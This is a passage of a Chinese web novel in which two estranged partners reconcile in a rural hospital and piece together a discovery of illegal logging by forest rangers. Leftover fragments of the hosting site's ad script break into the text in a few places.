童宽摇了摇头,“卅哥,没有你的话,我自己走不到这一步,你就好像,是护着我长大的哥哥。” “我以后也会护着你,一直护着你。”陈艾卅又蹭了蹭童宽的耳朵,“我辞职了。” 童宽身体愣了一下,有些难以置信,“为什么?” “我怕我找不到你,没有你我不知道该怎么办,你怎么那么傻。” “我不是、”童宽的声音低了下去,“我不是来找不痛快的,我本来都想好了……来这里休息一下,回去重新开始,回去了就先去找你。” “你打算来找我?” “没有你,我也不知道该怎么办。” “傻瓜,那你那天晚上怎么不留我?骂都不骂我一句。” “……我有点懵,”童宽如实说,“也从来没想过,你要离开我。” “对不起。” 陈艾卅抱紧了童宽,吻向了他的脖子,好像比之前更纤细了,甚至能感受到脖子下面的青筋,“我没有走远,就住在我们的家对面,我也不知道该去哪。” “我知道。”童宽说。 “你知道?” “我看见你的车开进去过,”童宽的话里轻松了一些,带了些笑,“一开始还以为你和别人住一块儿了。” “后来呢?” “后来我看见……你抬头往我们的家看了过来,我在阳台里,你看不见我。看到你抬头,我就放心了。” “放心我没有去找别人?” 童宽点了点头。 “你还挺会观察人呢?” “自己的……”童宽顿了一下,“自己的男朋友,肯定得自己管。” “嗯,管得挺全,”陈艾卅伸手捏了一下童宽的鼻子,“还给男朋友买了份养老金。” “啊?卅哥你知道了?” “小孩儿主意太正了,一点都不好管,老背着我做事,”陈艾卅叹了一大口气,“这么多年了,以后咱能敞亮点不?” 童宽这才笑了出来,“……能,知道啦,卅哥。” “原谅我,好吗,我们和好,好吗?” 陈艾卅突然正经地问了一句,他觉得有些话不能省,他需要一些标志性的东西,来表达过去的结束,以及新的开始。 他没想到的是,童宽慢慢坐了起来,跪在床上转了个身,把陈艾卅的脑袋抱在了自己的胸口。 “卅哥,我们和好。” 这句话很轻,可就好像一把锋利的刀片,把这半年绑在陈艾卅全身的束缚全都割断了,他终于得以呼吸。 “卅哥,你不想知道,刚刚徐熠跟我说的是什么吗?” “说的什么?” “他说,”童宽咬着陈艾卅的耳朵,“我选对了,全世界不会有比陈艾卅更爱我的人。” 陈艾卅噗地一声笑了出来,话里却是一点不客气,“可算会说人话了。” 两个人又说了挺久,陈艾卅在医院中午订饭的时候订了两碗粥,一口一口喂给童宽,起初人还有些不好意思,后来吃一口笑一下,陈艾卅觉得,即使是三十出头,童宽还是他记忆里的那个少年,腼腆的、可爱的、又孤注一掷的。 “我没有停止过爱你,”给童宽擦完嘴后,陈艾卅抚着童宽的脸对他说,“我一直爱你,过去爱你,现在爱你,以后会更爱你。” 童宽笑了笑,点了点头,却好像不知道说什么好,只是“嗯”了一声。 陈艾卅在童宽要起头说林子里的事的时候,阻止了他,又让他躺了下去。 “再睡一觉,睡醒了再说。” “那你?” “我就在这里。” “你就在这里。” 童宽重复了一句陈艾卅说的话,就闭上了眼睛。 陈艾卅看着童宽消瘦的下巴,心里还泛着一些疼,合计着,不知道这次把童宽养胖点,需要多久。 46. 命令 和童宽聊过后,陈艾卅也终于得以放心把他一个人放在病房里,他没有想着去叫医生,他想让童宽再睡一会儿。陈艾卅不是不好奇童宽经历了些什么,也不是不追究,只是这些事情和让他恢复比起来,太不重要了,戴师傅的话好像又回到了自己耳边,“救人是救人,其次都是其次”。 他走出病房,给梁臣打了个电话,对面几乎秒接,“学长?” “方便再来一下吗?”陈艾卅说。 “本来就是要来的,学长和宽总聊完了吗,要不要我们带点吃的回去?” “不用,我们在医院吃了的。” “好的,我在病房门口,也不敢离开太远,麻烦你和林琦一起回来一趟吧。” 陈艾卅站在病房门口,来回踱步,他知道林子里的那些事与其去猜,不如直接问童宽和郭响来得快,但他总觉得,有些事情需要先去侧面了解一下。 梁臣和林琦没让他等太久,很快回来了,陈艾卅把他们带到了离病房远一点的地方,找了个一排的位置坐下,在这里也刚好能看到童宽病房的门口。 “学长,宽哥醒了有吩咐什么吗,他现在睡着了?”林琦先开口问了一句。 陈艾卅点了点头,“睡着了,他想说我没让他说,让他再睡一觉先。”他看着林琦关切的模样,心里也泛起了一些抱歉,“不好意思啊,让你们夫妻俩奔波这么久来这里,还特意请假了吧。” 没想到林琦叹了口气笑了起来,“学长,你俩这些年我也是看过来的,左右算个花童了,说这个客套话,简直太把我当外人了。” 林琦还是这么幽默,陈艾卅也笑了起来,“是是,你还把你内人带来了。” 梁臣莫名躺了个枪,也跟着笑了笑,接着就直接进入了正题,“学长,你是想查点什么事吗?” 陈艾卅收敛了表情,点了点头,“林琦可能不太清楚,但我们其实和这里的巡林站打过很久的交道了,那时候就一直在说要伐木转保护,现在有大片林子被砍伐,而且是一整片,挺奇怪的,我也不是要调查什么东西,我们本来也不是警察,何况我也担心危险,看看能不能联系下之前的对接人,简单问点情况,具体的我会和这里当地的警察聊。” 说道这里,陈艾卅的脸色变得非常不好看,可能因为他平日里都是春风和煦的模样,脸沉下来的时候压迫感特别明显,“我就是想弄清楚,为什么一个人失踪了三天,连跨省协助都想到了,但就是没下那个断层去看看,而且我找到童宽的时候,他除了脱力,连失温的表现都没有,不太像一个人在野林子里呆了三天的样子。” 林琦还是有些后怕,“不会这里面有什么坏人吧?” 陈艾卅摇了摇头,“不至于坏,但肯定有原因,如果真的是坏人,童宽都不一定能活着被找着。” 梁臣睁了睁眼睛,“学长,我去联系下之前的对接人,我研究生毕业后,其实也没太回过去关心这个项目了,不知道那个对接人还在不在那里。” “先问问吧,”陈艾卅说,“童宽虽然醒了,但感觉还是没完全恢复,我还是想请医生做个全面检查再说,虽然这里医疗条件一般,但验个血拍个胸透总是可以的。” “好的,我先问问,”梁臣迟疑了一下,“林琦要不还是跟你们在医院吧,我怕不安全。” “不要!”林琦声音提高了一下,“我得跟着你。” “听话,”梁臣对林琦说:“你跟着学长和宽总,顺便也能照顾着他们。” 陈艾卅明白,梁臣是觉得还是有些风险,不想让林琦跟着,万一有什么问题,他一个男的还好扛一些,让女孩子去冒风险,总不是他们男人愿意做的事。 “梁臣,”陈艾卅说,“你也就随便问问,不要冒风险,不然我实在是罪过了,简单问一下就好,别太费心,有个风向判断了就行。” 梁臣点了点头,陈艾卅见他们小夫妻好像还要再说点什么,就起身准备回病房了,走到病房门口前,陈艾卅回头看了一眼他们,梁臣把林琦抱在了怀里,安慰似的抚摸着林琦的后脑勺,陈艾卅觉得,这个小学弟,也已经长成了可以依靠的大男人,对人还得体温柔,他以前总觉得自己缺点什么,今天突然顿悟了,他觉得自己应该对童宽再霸道一些、大包大揽一些,他自我的道德感可以不用太强,那些尊重人的话终究还是太无力了,看似好像在为别人考虑,实际也是在为自己的不用担责而找借口。 他刚前脚进房门,就看到童宽醒了,自己靠坐在床头,在看手机。 “怎么不睡觉?”陈艾卅走到床边坐下,带着笑意看童宽。 “睡太多了,睡不着,”童宽拿着手机对着他晃了晃,“在看你给我发的微信,”童宽也笑了一下,带着点不好意思,“卅哥,你发的微信怎么声泪俱下的。” “担心你啊,怕你出意外,”陈艾卅如实说,“感觉这辈子的惊吓都在这几天用完了。” “我其实没想到你会来找我。”童宽看着陈艾卅的眼睛。 “嗯?” “我从来没见你生那么大的气过,你走的时候我也反思了很久,的确太忽略你了。” 陈艾卅点了点头,这点他不否认,“你知道你不理我,我会疯成啥样了吧。” “嗯……”童宽讨好似的对陈艾卅眨了眨眼睛,“那你男朋友事业有成,你不觉得很骄傲吗?” “当然骄傲了,”陈艾卅搓了搓童宽的脸,“但和骄傲比起来,我更希望我男朋友身体健康,吃胖吃胖。” 童宽笑了,又叹了口气,叫了他一声,“卅哥。” “嗯?” “其实我们两个是有一点问题的。” 陈艾卅没说话,心里突然紧张了起来,童宽已经不是在学校里会跟在他身后的小男孩了,他在大厂里呆了几年,赚得了第一桶金、又自己开了公司,顶峰的时候公司里有近50个人,他们开发着小游戏,营收用来供给童宽真正想做的app,公司里所有的分歧都是童宽在定夺,陈艾卅即使会出现在公司里,也只是等他下班、接他下班、偶尔探班,对童宽的事业而言,陈艾卅唯一给予帮助的,只是最初的灵感,和对童宽这个人的支持而已。 “我知道。” “卅哥,”童宽抬头看向陈艾卅,直白地说了出来,“你能接受我比你优秀吗?” 他从来没想过,他们心里彼此都清楚的一个问题,被童宽这样轻而易举地列出来,陈艾卅如当头一棒,终于找到了七年前自己临近爆发的根源。他虽然深爱童宽,但也始终享受来自童宽的仰视,他知道自己在童宽心里举足轻重,但后来童宽来征询的意见越来越少,专注在他的身上也越来越少,反而拿着更多的优秀的成绩、或者说战绩回来,陈艾卅终究无法免俗,他心里有一些羡慕,甚至有一些嫉妒,这些嫉妒不仅仅来自于童宽的注意力被转移了,也来自于他的成就。 陈艾卅的心口仿佛被闷住了,自己和童宽都身为当局者,但始终保持清明的却只有童宽一个人,当年那个用力把童宽从充满恶意的宿舍里拉出来的人,竟然自己也成了童宽苦难的一员,他觉得自己实在是肮脏污秽,他在童宽面前几乎无地自容。 “我接受,”陈艾卅十分坦诚,“一路上我想了很多,包括这种不上台面的情 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 绪。” 童宽摇了摇头,“卅哥,这种情绪并不可耻,这是人之常情,我也有错,只顾往前,却忘记关注在身边的你。” 陈艾卅咽了口唾沫,他还是有些紧张,他甚至不知道此刻该不该去握童宽的手,童宽那么干净,他却有过那些心思,但有些话,他不得不说,如果说不明白,以后迟早有一天,他们还是会因为这种事情而产生不快,他看向童宽,“你能接受我是个普通人吗?” 童宽笑了,露出了虎牙,他说:“我不接受。”,陈艾卅不知该做如何反应,他又继续补充道:“你对我来说,从来不是普通人,你是我的天降神兵。” 陈艾卅自嘲地笑了一下,“你只是恰巧喜欢我而已。” “追我的人也不少的,”童宽对着陈艾卅挑了个眉,“只是从来没让你知道罢了。” “噢……我就说你瞒我的事儿不少。” “卅哥,后来我发现,我也有很多事做不到,就好像这次投资失败,公司应该还有经营贷没有还吧,”童宽讲述着,“以前在专业上,我总觉得自己不可一世,没什么我做不到的事,但后来发现,有太多的事我没办法做到了,我碰到了自己的玻璃天花板。” 陈艾卅点了点头,“这很正常,但也因为你很优秀,往往会走得很高,才会摔倒,”他又跟了一句,“所以,宽总,回去之后,能不能给我个机会?” 童宽没说话,盯着陈艾卅的眼睛睁了睁。 “我失业了,”陈艾卅握起童宽的手,放到了自己脸颊上,对着他卖乖,“能不能动用你的私人关系,让我再就业一把?” 童宽笑了出来,“卅哥,别委屈自己,你说过你喜欢在大公司里呆着的。” “少不更事,宽总您大人有大量。”陈艾卅把自己的脑袋都放到童宽的腿上了。 “卅哥,”童宽趁机揉了两把陈艾卅的头,“那你要做什么啊?” “什么都好,做你司机也行,一个月两千五,不能更多了。” “哦……我本来以为是更亲密一点的关系呢?” “车上还不够亲密啊?”陈艾卅抬头看他,也跟着笑,“你这半年都学了啥,等我回去要检验检验。” 童宽笑得都仰了起来,虎牙还是那么亮眼。 陈艾卅直起身,抱住了童宽,“小宽,让我也做你的安全绳,你不愿意去的应酬,我去,你不喜欢交涉的投融资,我来。” 他感觉到童宽也环住了他,“卅哥,你是认真的么?” 陈艾卅点了点头,“认真的,见到你的那刻开始,我就决定了……以后只围着你转。” 童宽轻轻挣脱了怀抱,扶着陈艾卅的胳膊看向他,“那我要下第一个行政命令了。” “你吩咐,我办事。” “亲我。” 陈艾卅吻下去的时候,感觉这半年的时光从空气中瞬间流过,童宽的嘴唇带有一些凉意,但是没关系,他会用温暖焐热,他还有些消瘦,也没关系,他会慢慢养回来,破产、贷款、重启,都没关系,他会一直在童宽身边,做他的后盾、做他的兵、做他的安全绳。 童宽的唇实在是太有吸引力了,陈艾卅下了好大的决心,才能从他的唇上离开,又动情地把童宽搂在怀里,安抚着同样胸口起伏的人,“不能再亲了,下次、下次等你恢复一些再说。” 怀里的人憋着笑,忍得发颤,陈艾卅终于感觉,他的童宽回来了。 都冷静了一会儿后,童宽问他,“卅哥,林子里的事,我跟你说说?” 陈艾卅点了点头,“我知道不对劲,本来想等你休息好了再问。” 47. 失疯 童宽说他其实两周前就到这里了,因为这里的变化太大,所以找之前的那个地方费了些功夫,好不容易问到了,他就直接提出了想再这里做志愿者的需求,本来他们都说这里已经很久不需要志愿者了,让他赶紧回去,但在他再三请求下,有个老巡林员还是被说动了,就同意他留了下来。 说完这一段,他向陈艾卅看了一眼,有一些抱歉,陈艾卅捏了捏他的手,对童宽说一听说他是来这里,就大概知道是来做什么的,问问他是不是想来这里看一眼那棵树,也想来这里体验一下真正的巡林生活,童宽点了点头,他说之前做产品,碰到的最大问题就是投资人觉得不切实际、不落地,好像想法都是飘着的,没有真正吸引人的地方,所以他打算真的来这个地方看一看,到底是哪里出了问题,也是因为这个原因,他最终没能拿到天使轮投资,在现金流全部消耗完的情况下,不得不公司申请破产。 来这里之后,童宽发现这里和七年前比,巡林站的条件要好太多了,以前都是帆布衣、解放鞋,到了这里后,发现巡林员的衣服都是品牌的,连登山鞋、登山杖和救生绳,都不便宜,他就好奇地问其中一个人,但没有人回答他,只有一个叫祝明修的人走到他面前,跟他说做志愿者就不要多事,体验完了早点回去。 “他伤害你了吗?”陈艾卅打断童宽,“他把你抛到保护林外面去了?” 童宽摇了摇头,“没有,也没有给我瞎指路。” 陈艾卅点了点头,问童宽后来呢。 实际上到这会儿,童宽还没觉得有什么不妥,他觉得可能近几年的环保意识提升了,也有不少企业愿意资助绿色环保事业,只是提升了用具水平,也没什么大不了的,毕竟他自己也是从一个小小的什么都不懂的小土包,变成了能在大城市开公司的人。 变数是童宽提出来想去那个断层看看开始的,他提到断层的时候,巡林站里的人都不说话了,有一两个人直接就离开了,还有人直接告诉他记错了,说根本没有断层,祝明修的反应最强烈,童宽说,这人直接告诉他你离开这里吧,不要再做志愿者了。那天童宽就长了个心眼,他口头答应着说不再找断层,而是偷偷去找了那个提议让他留下的老巡林员。 听到这里,陈艾卅不禁皱眉,说的话还带了些眼里,“你一个人来这里太危险了,你怎么想的?” 童宽抿嘴笑笑,“公司清算后我想净净,却也实在不知道去哪,脑子里就只有我们那时候种的那棵树,想着那次最后那天也没来看过,既然有空就过来看看吧。” “那你也应该叫上我。”陈艾卅说。 “卅哥,”童宽笑他,“你那时候跟我闹分手呢?” “闹分手也可以找我。” “现在反正你说什么都行啦。”童宽也假意生气。 陈艾卅就捏了捏他的脸,“是我错了,宝贝。” 童宽就捏了他的手握住了,继续往下说着。 老巡林员告诉自己,这几年巡林站的变化很大,和以前不一样了,他们的生活也过得好了,只是有些东西,他们不让你碰,你还是不要去探究得好,童宽就和人家说,自己不是来探查他们的秘密,也无所谓他们到底藏了什么,他只是想去看看自己种的那棵树还在不在,老巡林员见拗不过他,就给他大概指了个反向,告诉童宽一定要小心些,带好户外装备,那个断层还是有点高,千万小心脚下,不要滑下去了。 “我来的时候也没见到那棵树。”陈艾卅直接对童宽说出了结果。 “后来我查了天气预报,我们离开那天后,就起风了,这里下了一场大雨,应该被冲掉了。” “那你还去?” “心存侥幸啊,”童宽露了个苦笑,“就好像心里一直侥幸你还会回来一样。” 陈艾卅叹了口气,这小子捅人心窝子真是不带犹豫的,“我想回来的,就是别不过这个劲。” 本来童宽打算,如果找不到那棵树,就在那里看个日出,弥补一下之前和陈艾卅来的时候得遗憾,他问过巡林员们,只要在保护区,里面基本没什么野兽,蛇都很少,就是如果要呆一夜的话,保暖措施一定要做好,他就骗他们说想在林子里过一夜,问他们借了帐篷和棉袄。 童宽说自己可能还是太自信了,对户外知识掌握得还是不够足,也忘了那次和陈艾卅来,在林子里是没有信号的,所以连个卫星电话都没有准备,但一想到,他已经和陈艾卅分手了,便也觉得没那么重要了,反正除了催款的,也不会有什么人联系他了,就算联系,晚个一两天回复,也没什么问题。 陈艾卅听着有些难受,看童宽也已经说了不少话,就问他要不要喝点水,童宽看陈艾卅的神情好像也不太好,便停了下来,点了点头。 “卅哥,”童宽轻轻叫他,“你不用觉得愧疚,如果没有你,我本来和这个世界也没什么联系。” “你的小毛巾呢,也不要了吗?” 童宽笑了笑,“我带在身上了,但还是丢了。” 陈艾卅这才想起来,起身去包里找了找,把那块毛巾帕子拿出来,放到了童宽的面前,“我给你找回来了,是它告诉我你在下面的。” “你找到了!”童宽露出了惊喜的表情,“卅哥,我以为再也找不回来了!” 看着他高兴的样子,陈艾卅心里泛起了些苦涩,“毛巾找回来了,你这不争气的卅哥也回来了。” “卅哥,”童宽已经过了会立刻在他脸上亲上一口的年纪,话语里多了一些成熟,也更多了一些狡黠,“你再这么说话,你的再就业需求总经理可不批了。” “别啊,宽总,放我一马。” 两个人闹笑了一会儿,童宽又喝了几口水,继续说了下去。 他后来还是找到了那个地方,但还是错过了日出,他说远处的光从云里洒下来,洒到那些树冠上,能看到树顶的还是新鲜冒出来的叶子上泛着光,他往更远的地方看了过去,那边的树冠好像一直在耸动,童宽有些好奇,但也担心那是野兽,所以只敢探头看了看,没想到脚一滑,就掉下去了,幸好没有扭伤。 他的装备都掉在断层的上面了,身上只有棉袄,别的什么都没有,他想往上爬,可怎么都找不到着力点,后来他在前方听到了机械的声音,才确定前面是有人的,于是他就往前走,想到了陈艾卅之前教他的标记,就脱了里面的T恤用力撕了下来,扯成了好几条布,一路做了标记。 “警察告诉我,你做的标记在断层的上面。” “后 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 面被他们改了吧,我在上面只有包那些,绑带都是系在断层下面的。” 童宽说其实没朝前面走多久,他就看到了一些伐木工,因为他也做环保相关的app,对伐木工有所了解,但他看到的不是那种正经的伐木工,而是开着一些大的露天皮卡的,连锯子都是很粗糙的那种,而且他们在砍伐之前没有任何记录,甚至连树的粗细都不测量,直接就砍。 他走近他们质问不是保护区吗,为什么在这里随意砍伐,可没有人愿意搭理他,直到他看到了祝明修,童宽觉得自己好像被欺骗了,什么巡林站,什么保护区,什么植树造林,都是假的。 他冲过去质问祝明修,可他却什么都没说,只是让他不要妨碍他们做事,童宽去拽他让他们住手,喊着问他们难道不知道种成一棵树需要多久的时间吗,连审批都没有,自主砍伐犯法难道他们不知道吗? 祝明修被他问烦了,也回过来对他咆哮,问童宽他知道什么是穷吗,知道什么叫默默无闻吗,知道自己家里连孩子书都供不起是什么感觉吗,他指着童宽的鼻子骂,说你们大城市来的人种一棵树,好像就是给自己良心上了个保险似的,以为自己是大善人就完了,然后呢?!然后就继续在大城市里挥霍、荒用无度!到头来,想起来有这么件事了,连他们镇子上最直观的伐木收入都没了,没有补贴、没有经济来源,让他们这里的人靠什么度日?! 陈艾卅睁大了眼睛,实在是没想到竟然是这么一出,他以为从很早之前开始,伐木转保护就是一个趋势了,环保是趋势,可持续发展是趋势,绿色高质量发展是未来,所有人都推崇的东西,怎么会让这里的人反而变得更穷呢。 童宽说,他也是这么觉得的,但当时实在是和他们你那些人说不通,他没有太多力量,只能靠自己的身体保护其中一棵树,也告诉祝明修不要只顾眼前,如果被捅出去了很可能会坐牢,可祝明修说,如果坐牢能换上他女儿能读得上书,他也无所谓。 “所以你用血肉之躯守护住了一棵树?”陈艾卅问他。 童宽点了点头,“卅哥,我记得的,你说种树的速度都比不上砍树的,这样树就会越来越少的,如果我能护住一棵,那也是好的。” “你怎么那么傻,三十多了,还这么执拗。”陈艾卅没忍住,朝他抱怨了一下。 童宽也就笑笑。 “那后来呢,你就一直坐在那棵树下面?” “是啊,”童宽也叹了口气,“他们其实也没有扔下我不管,那两天晚上他们都搭的帐篷,还让我进去睡,就是第三天早上,我又坐回那棵树下的时候,觉得有点晕,就睡了过去。” 陈艾卅眉头拧紧了,“他们给你下药了?” “应该是。” “为什么不把你一起带走?” “我也不知道,可能还是害怕我告发他们吧。” 陈艾卅搂过了童宽,手掌覆上他的后脑勺,“我以为你长大了,就不会那么冲动了。” “咱俩加起来都可以退休了。” “小疯子。”陈艾卅念他,“以后别那么疯了。” “可是……”童宽还想辩解。 “想疯的时候,至少我得在你身边。” “……好。” 48. 卫星 梁臣和林琦是当天晚上才回来的,还给他们带了晚饭,童宽看到林琦手上的冒菜就笑了,说还是林琦懂他,这两天清汤寡水的可把他馋坏了,梁臣就和陈艾卅解释说林琦怎么劝都不听,就是要给宽总买这个,说他吃了之后一定能恢复得更快,陈艾卅笑着拍了拍梁臣的胳膊,说吃就吃吧,也基本没什么大碍了,明天再检查一下,没什么问题就尽快安排出院,等回去了再去大医院再看一轮。 趁童宽和林琦吃饭的功夫,陈艾卅把梁臣叫到了病房外,问问他这边的对接人到底什么情况。 “学长,这边的对接人很早就不接手了,”梁臣说,“但很奇怪的是,他说自从自己不做了之后,突然有一天巡林站的日子突然就好过了起来,以前没得装备都配上了,连房子都是翻新过的。” “童宽跟我说,巡林站里面有人联系外面的非法伐木工在里头伐木,他就是因为发现了这个,才被扔在了那个林子里,”陈艾卅还是有些后怕,“还好里面的人没起什么歹心,不然真的可能生死难料。” 梁臣皱眉,“那后续我们去找警察吗,我要不联系一下看看有没有认识的人,给这里施加一点压力?” 陈艾卅摇了摇头,“我先跟这边联系我的那个民警聊聊,哎对了,没什么事了,你要不快回去吧,还上班呢,童宽没什么事,后面的事情我们自己处理就行。” “我还有年假,这么大事不可能只留你和宽总在这里,”梁臣笑了笑,“请个几天假不碍事的。” 陈艾卅有些感动,但还是坚持,“我知道你们想帮忙,但后面的事也不知道要拉扯多久,林琦呢?也请假了?” “她没找工作呢,不说我也知道,她也在等宽总恢复,”梁臣笑了笑,“她说宽总肯定不是轻易就放弃的人,等他回来了还是要助理的,等着宽总呢。” “真不知道要怎么谢谢你们才好。” “学长,一家人就不说两家话了啊。你公司那边,需要打招呼吗?” “我辞职了。” “啊?” “真的,我本来也不知道找童宽要多久,主要一想到他万一真的出事吧,我也实在是没心思上班,索性就辞职了。” “那……” “回去之后可能要和林琦当同事了。” 梁臣面露惊喜,“你决定去帮宽总了?” “是啊,”陈艾卅无奈笑笑,“以前总觉得自己主意正、有能耐,结果就真忽略了身边这个最有能耐的人。” “太好了,这下宽总也心定了。” “而且,”陈艾卅面色一沉,“他公司现在的确也有很多事情需要解决,债务啊、投资这些,都不是童宽擅长的,现在想想,他之前应该做得很痛苦,我却都没看到,还耍脾气,我也真是幼稚。” “别这么说学长,你也有自己的追求。” 陈艾卅叹了口气,“是,没这一遭还真看不透自己的追求,跟在他身边,我才真的算是跟着追求了,”说到这里,陈艾卅笑看了一下梁臣,“我是反面教材,你可别学我啊,多照顾着些林琦。” 梁臣也跟着笑,“林琦老让我学你呢,说你看看我宽哥多幸福。” 陈艾卅摇了摇头,喟叹了一声,“这些不说了,你和林琦真的早点回吧,后面没事儿,有事我再联系你,还有就是,看看林琦方不方便返工,她要是方便的话,可以先去公司整理一下目前的情况,等我们回去了,公司的事也要一件件解决。” 梁臣这才点头,“行,带着任务回去行,光想把我们打发走可没那么简单。” “你小子,也学着林琦的小蛮横了。” “她可不是小蛮横。” “知足吧你。” 两人又在门口走廊里说了一会儿,才回的病房。 刚打开门,就看到林琦拿着一个小本子,坐在童宽的床边,脸色沉静,手里记得飞快,见陈艾卅和梁臣回病房了,两人才停了对话。 “你怎么非法用工啊?”陈艾卅调侃童宽。 “不是,学长……”林琦抢着回答,“是我问宽总有什么回去要做的,我想我们俩之后在这也没什么事,不如早点回去做些准备,宽哥、宽哥总不至于放弃公司的……”她声音却越说越小声。 童宽笑了笑,少了些在陈艾卅面前的明媚,多了一些老板的成熟,“今年的优秀员工已经有结果咯。” 梁臣走到林琦边上,低头看她记的东西,也故意逗她,“你们公司总助的字有待练习啊,都看不懂记的什么。” 林琦二话没说,直接拧上了梁臣的胳膊,“让你在人前少揭我短,你就是记不住。” “疼疼疼,琦琦,琦妹,快松手。”梁臣讨好似的说。 “哎呀你太恶心啦!学长你管管他!”林琦对着陈艾卅说。 “嫁出去的学弟泼出去的水,谁接的这盆水谁来管,我可管不住。”陈艾卅也笑。 几个人开着玩笑,好像刚刚经历的生死时速都已经成为了过眼云烟,陈艾卅看在眼里,突然就明白了李白的那句话,“轻舟已过万重山”。 后来还是童宽开的口,“冒菜都快凉了,快吃吧。” 童宽在人前很少叫陈艾卅卅哥,陈艾卅以前就问过他为什么,那时候童宽还没毕业,就红着脸跟自己说,总觉得叫卅哥是在和他撒娇似的,别人听进去了以为是秀恩爱,留的印象不好,陈艾卅就笑他想得多,童宽就和他说,不是他想得多,而是这个世界上看不得人好的人太多了,他一个人长这么大,遇到的这种事情不少,所以后来有什么好事,或者自己想做成什么事,从来都不宣于口,他觉得那就是一口气,一旦把这事往外一说,这口气就松了,随之也会受到各种各样的伤害,陈艾卅听了后久久没有说话,只是慢慢紧紧地拥住他。 陈艾卅点了点头,拿过了那盒冒菜和米饭,把这些都放到了窗台上,自顾自地吃起来,吃着吃着就觉得不太对劲,怎么这么辣,一边吃一边斯哈斯哈地到处水和纸巾,童宽抿着嘴笑,林琦却噗地一声笑了出来。 “学长,你还是这么不能吃辣啊。” 陈艾卅这才反应过来,这是童宽和林琦的小把戏,童宽嗜辣,陈艾卅只能吃一点点,每次如果太辣了,童宽就会拿一次性杯子盛一碗白开水放到陈艾卅的边上,让他涮着吃,这次也不例外,只是这次陈艾卅看到童宽递过来的,装在塑料碗里的白开水,眼睛有些发热,他觉得这个场景,真的好久、太久,没有发生过了。 晚饭后几个人又聊了一会儿,结合了梁臣的消息和童宽的经历,还是有些想不明白,主要是郭响那个想要和自己解释的样子,让陈艾卅摸不准这里到底的水到底有多深,但能下判断的是,至少这里的人都没有歹念,如果真的要伤害人,都不用等到现在了,让他们找不到童宽就可以了,何必那么麻烦。 在陈艾卅和童宽的劝说下,梁臣和林琦明天应该就回去了,童宽和林琦说,自己还有些积蓄,回头一并打给她,如果有小额的欠款都先还上,大额的等他回去再想办法,林琦点了点头,说自己回去就挨个处理一下,然后银行那边自己也联系下经理,临走前童宽和林琦说,自己给自己打一份劳动合同,不能再让人抓小辫子说是非法用工了,几个人又笑了出来,陈艾卅也是在这个瞬间,真正感觉到,他的小宽已经是一个能够 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 掌握全局、把握节奏的大人了,他曾经有的那些担忧,也只不过是在学校里的童宽而已,现在在自己面前的,是真正经历过风雨、曾经成功过,未来也一定会有所建树的宽总。 他发现承认童宽比自己优秀并没有那么难,也发现承认自己平庸也并不丢脸,反而在庆幸,这么优秀的人是是自己的男朋友,是多么走运的一件事,自己好像是拽下了天空中最璀璨的那颗星星,而这颗星星也安于在自己身边。 陈艾卅发愣的时候,童宽叫了他一声,“卅哥?” “嗯?” “想什么呢?” “想……”陈艾卅走到了床边坐下,握住了童宽的时候,“我感觉我错过了很多。” “什么?” “不知道是不是因为之前,总觉得你在学校里有些受气,就有了一些固定的,嗯……刻板印象,觉得你是需要被照顾的、关爱的,”陈艾卅低头看被握在自己手里的童宽的手,“感觉错过了,你成为宽总的模样。” 童宽笑了一下,又皱了皱眉问他,“有区别吗?” “有区别,”陈艾卅说,“就好像自己种下去的那一棵树苗,在不经意间,已经长成了参天大树,已经可以为人遮风挡雨了。” 童宽点了点头,整个人往前挪了挪,头靠在了陈艾卅的肩膀上,“可是,还是需要被关爱被照顾的,大树也会枯萎。” 陈艾卅换了个姿势,抱住了童宽,“希望我这种觉悟不会太晚,我总感觉这几年亏欠你太多。” “也不是,”童宽小声说着,“我也在工作和自我成就中迷失了很多,这种数据化的刺激真的很容易让人上头,尤其是app上架了之后,我好像真的看不见你了,卅哥。” “现在呢?”陈艾卅柔声问他,“看见了吗?” “不仅看见了,还感觉到了,”童宽把脸埋进了陈艾卅的胸口,“你能来找我,真的太意外了。” “我在你眼里这么无情的啊?” “不是,我就是觉得你太生气了,换我我也生气。” 陈艾卅揉了揉童宽的头,问出了自己一直想问的问题,“那趁你还有点愧疚感,要不要跟我说说保险是怎么回事啊?” 童宽摇了摇头。 “那我往难听了说了?”陈艾卅假装严厉了起来。 童宽还是要投,声音却闷闷的,“你说,我听听更有多难听。” “我们家小孩儿挺聪明一人,怎么总干傻事。” “不傻吧,好大一笔钱呢,”童宽狡辩里带着些撒娇,“我算过了,够了。” “够啥?够我这辈子过日子了?” 童宽在陈艾卅外套上上下蹭着点了点头。 “你还真算过啊?” “真算过。” “挺有病,明天带你去看精神科。”陈艾卅打趣道。 “不要。” “没有你我活不下去,真的。” 童宽没说话。 “这半年已经够我反省一辈子的了。” 童宽抽了抽鼻子。 “所以,宝贝,你好好的,好吗?别那么拼了。” 童宽点了点头,声音里带着一些雾气,“知道了。” “我们的好日子很长,未来有很多需要去体验。”陈艾卅一字一句说着,“你不惜命,就是对我最大的背叛。” “知道了,卅哥。” 陈艾卅感觉到童宽流泪了,自己也跟着哽咽了起来。 “以前我总说,你要好好待在我身边,这次我想说,我会好好待在你身边。” 童宽点了点头,环着陈艾卅的手更紧了些。 49. 难抑 童宽出院已经是后天的事了,出院的时候,护士说她要和这边的警察说一声,是警察临走前关照的,陈艾卅说也不用她打招呼了,他直接当她面给警察打个电话就行。 “老卅。”郭响那边接了电话。 陈艾卅听到这个称呼皱了个眉,他觉得自己好像和郭响并没有那么熟悉,“护士说出院的时候要和你说一声,我来给你打个电话。” “好的,童宽身体都好吧?” “目前看来还可以。”护士这边的交代完了,陈艾卅对着护士点了点头,就和童宽走到了一边。 “那你们,”郭响迟疑了一下,“打算什么时候来警局一趟?” 陈艾卅冷笑了一声,“来做什么?” “有些事情还是需要解释一下,真的,他们也不是故意的。” “那你呢?!是不是故意的?”陈艾卅憋了好几天的火终于在这会儿有些忍不住了。 郭响的声音突然软了下去,“我故意的话,就不会申请跨省协助调查了。” 陈艾卅一时不知道该说什么,倒是郭响接了后半句。 “方便的话还是来一趟吧,和童宽一起。” 